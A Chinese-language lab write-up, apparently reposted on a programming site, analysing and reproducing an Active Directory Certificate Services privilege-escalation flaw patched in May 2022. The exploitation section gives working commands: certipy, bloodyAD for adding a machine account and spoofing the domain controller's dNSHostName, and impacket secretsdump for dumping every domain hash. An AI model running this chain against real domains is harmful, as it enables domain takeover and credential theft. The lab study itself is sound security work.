當前位置:編程學習大全網 - 源碼下載 - Windows域提權漏洞分析與復現

Windows域提權漏洞分析與復現

當Windows系統的Active Directory證書服務(CS)在域上運行時,由於機器賬號中的dNSHostName屬性不具有唯壹性,域中普通用戶可以將其更改為高權限的域控機器賬號屬性,然後從Active Directory證書服務中獲取域控機器賬戶的證書,導致域中普通用戶權限提升為域管理員權限。這壹漏洞最早由安全研究員Oliver Lyak發現並公開分析過程和POC,微軟在2022年5月的安全更新中對其進行了修補。

影響範圍較廣,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考鏈接)。

操作系統:

Win10、Win Server 2016、Kali-linux-2022.1。

分析工具:

ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

關於這個漏洞的分析和復現文章網上已經很多了,但是筆者在分析和復現這個漏洞時遇到的壹些“坑”大多並未提及。所以,今天主要分享遇到的問題和解決方法。

首先設置Win Server 2016的IP地址為固定IP,然後設置其DNS服務器地址。測試時域控服務器的計算機名為dc,IP為192.168.220.160,網關為192.168.220.1

接下來是安裝域控環境。在Win Server 2016安裝域控環境比較簡單,安裝時,使用超級管理員Administrator登錄,然後在服務管理器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照默認選項,直接“下壹步”即可,註意在服務器角色界面中勾選“Active Directory域服務”即可,如下圖所示:

域服務安裝完成後,選擇“將此服務器提升為域控制器”,如下圖所示:

然後選擇“添加新林”指定根域名,筆者測試時設置的是:fenghuotai.local,如下圖所示:

其他的選項按照默認設置就可以了,另外,安裝過程中會自動安裝DNS服務器,安裝成功後需要重啟計算機。

最後是安裝域證書服務。還是在服務管理器的儀表盤界面選擇添加角色和功能,在彈出的向導中按照默認選項,直接“下壹步”即可,註意在服務器角色界面中勾選“Active Directory證書服務”即可,如下圖所示:

然後在選擇角色服務的步驟中,需要額外再選擇“證書頒發機構Web註冊”,如下圖所示:

域證書服務安裝成功後,需要再配置域證書服務,如下圖所示:

在配置域證書服務中,需要選擇“證書頒發機構”和“證書頒發機構Web註冊”,如下圖所示:

最後再選擇“企業證書”(如果不是域成員,無法選擇該選項,但默認賬號Administrator可以),如下圖所示:

其他選項按照默認設置即可。

域控服務和域證書服務安裝成功後,在服務管理器的儀表盤的工具菜單中選擇“Active Directory管理中心”,然後在Users分組下新建壹個用戶賬號,輸入密碼和選擇“密碼永不過期”,模擬加入域環境的普通用戶賬號。分析時使用的普通用戶賬號是testcve,如下圖所示:

域普通用戶賬號建立好後,再選擇另外壹臺計算機,測試時使用的是64位的 Win10系統,計算機名為testmachine,加入剛建立的域fenghuotai.local,然後使用剛建立的域普通用戶賬號testcve登錄(加入域的方法請自行搜索,此步驟無特殊設置)。到此,測試環境就搭建好了。

以域普通用戶賬號testcve登錄Win10計算機後,使用ADExplorer工具分析該提權漏洞產生的原因。

ADExplorer工具需要先登錄,分析時使用普通域用戶賬號testcve登錄fenghuotai.local域,如下圖所示:

登錄成功後,展開左邊的樹形控件“DC=fenghuotai,DC=local”,然後再展開“CN=Computers”和“CN=Users”,可以分別看到剛才新加入域的名為CN=TESTMACHINE的win10計算機機器賬號和普通域用戶賬號CN=testcve,這兩個賬號均包含了很多屬性值,如下圖所示:

每個屬性的具體含義可以參考微軟官方的幫助文檔,此次分析只關註該漏洞相關的屬性。默認情況下,域用戶賬號可以申請User證書,域計算機機器賬號可以申請Machine證書,兩個證書都允許客戶端身份驗證。

展開Computers分組,選中剛才加入域的計算機CN=TESTMACHINE,其中壹項屬性dNSHostName的內容為testmachine.fenghuotai.local,testmachine就是新加入域的Win10計算機的計算機名,這個屬性是向域證書服務申請機器賬號證書時用於標識指定計算機機器賬號的,也就是說dNSHostName的內容和機器證書是綁定的,不同機器賬號的dNSHostName內容,就會得到不同的證書。另外屬性sAMAccountName的內容為TESTMACHINE$,這個屬性作為計算機機器賬號名,如下圖所示:

那麽可以將dNSHostName的內容改為域控服務器的內容嗎?如果可以的話,豈不是就偽造成域控服務器的機器賬號了嗎?嘗試將其內容改為dc.fenghuotai.local,卻會得到壹個錯誤,更改失敗,如下圖所示:

為什麽會出現這個錯誤?因為dNSHostName屬性和另外壹個servicePrincipalName屬性是相關聯的,更改dNSHostName屬性後,域控服務器將自動更新servicePrincipalName屬性的值。這樣就導致和原域控服務器機器賬號的servicePrincipalName屬性沖突了。TESTMACHINE$機器賬號屬性servicePrincipalName中的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致沖突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

但是如果刪除了其servicePrincipalName屬性中的兩項內容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName屬性的內容為dc.fenghuotai.local,不會導致沖突,更改將會成功。

屬性servicePrincipalName中刪除了兩項後的內容,如下圖所示:

dNSHostName屬性的內容成功更改為域控服務器的內容dc.fenghuotai.local,如下圖所示:

到此,普通機器賬號TESTMACHINE ,然後從Active Directory證書服務中申請到域控機器賬戶的證書,導致域中普通用戶權限提升為域管理員權限。

根據該漏洞的分析結果,想要成功利用該漏洞,需要滿足如下幾個條件:

1、域控服務器系統版本

Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,詳細版本號可以參考微軟官方的公告(參考鏈接)。

2、域內普通用戶賬號權限

需要獲取域內至少壹個普通用戶賬號權限,並且需要該賬戶對dNSHostName等屬性具有相應的權限。默認情況,普通用戶賬號具有該權限。

3、企業證書服務

域內部署有企業證書服務,並允許被控制的計算機賬戶申請計算機身份驗證證書。

環境搭建過程不再贅述,參照分析過程即可,攻擊機選擇Kali-linux-2022.1,需要安裝額外的工具Certipy、bloodyAD、impacket、PKINITtools

首先需要獲取域控服務器,域證書服務器的壹些基本信息。在受控的主機上執行powershell命令Get-ChildItem Cert:\LocalMachine\Root\,得到域證書服務器地址fenghuotai-DC-CA,域控服務器地址fenghuotai.local,域控計算機名為dc,如下圖所示:

設置攻擊機的DNS服務器地址為域控DNS服務器地址,或者在本地hosts文件中設置域控和與證書服務器域名的ip,不然會導致無法解析域名等錯誤。設置kali的hosts文件內容,如下圖所示:

復現環境準備好後,先使用掌握的域內普通用戶賬號申請證書,並驗證登錄,測試復現環境是否異常。申請證書命令certipy req 'fenghuotai.local/testcve:1qaz3edc.@dc.fenghuotai.local' -ca fenghuotai-DC-CA -template User

可能會遇到NETBIOS超時現象,重新執行壹次申請證書命令即可。

申請用戶賬號證書成功後,執行命令certipy auth -pfx testcve.pfx驗證該證書,獲取其NT hash,如下圖所示:

成功獲取到了NT hash,說明測試環境沒問題。如果遇到錯誤(特別是還原域控虛擬機後),說明域控有些服務沒正確啟動。需要重啟域控服務器,待儀表板上的服務項啟動後,或者手動啟動後,再重啟Kerberos Key Distribution Center(kdc)服務。不知道實戰中是否會遇到該錯誤,如果遇到了,後面的利用就無法進行了。

使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234 ',新建壹臺名為pwnmachine,密碼為CVEPassword1234 的機器賬號,如下圖所示:

然後使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',設置其dNSHostName 屬性為域控服務器屬性,如下圖所示:

設置成功後使用命令certipy req 'fenghuotai.local/pwnmachine 的證書,其實申請到的是域控dc$的證書,如下圖所示:

獲取到域控的機器賬號證書後,使用命令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160進行登錄驗證,獲取其NT hash,如下圖所示:

然後使用impacket工具examples目錄下的 secretsdump.py 腳本,命令為python3 secretsdump.py 'fenghuotai.local/dc$@dc.fenghuotai.local' -hashes :d396bce5a7bf19ed7bfa58b8f923357a,獲取域內所有賬號hash,如下圖所示:

當然,還可以使用PKINITtools工具,獲取域控最高權限shell。

  • 上一篇:開天眼是迷信還是真實案例?科學如何解釋?
  • 下一篇:nginx 下齊博B2B商務系統偽靜態配置
  • copyright 2024編程學習大全網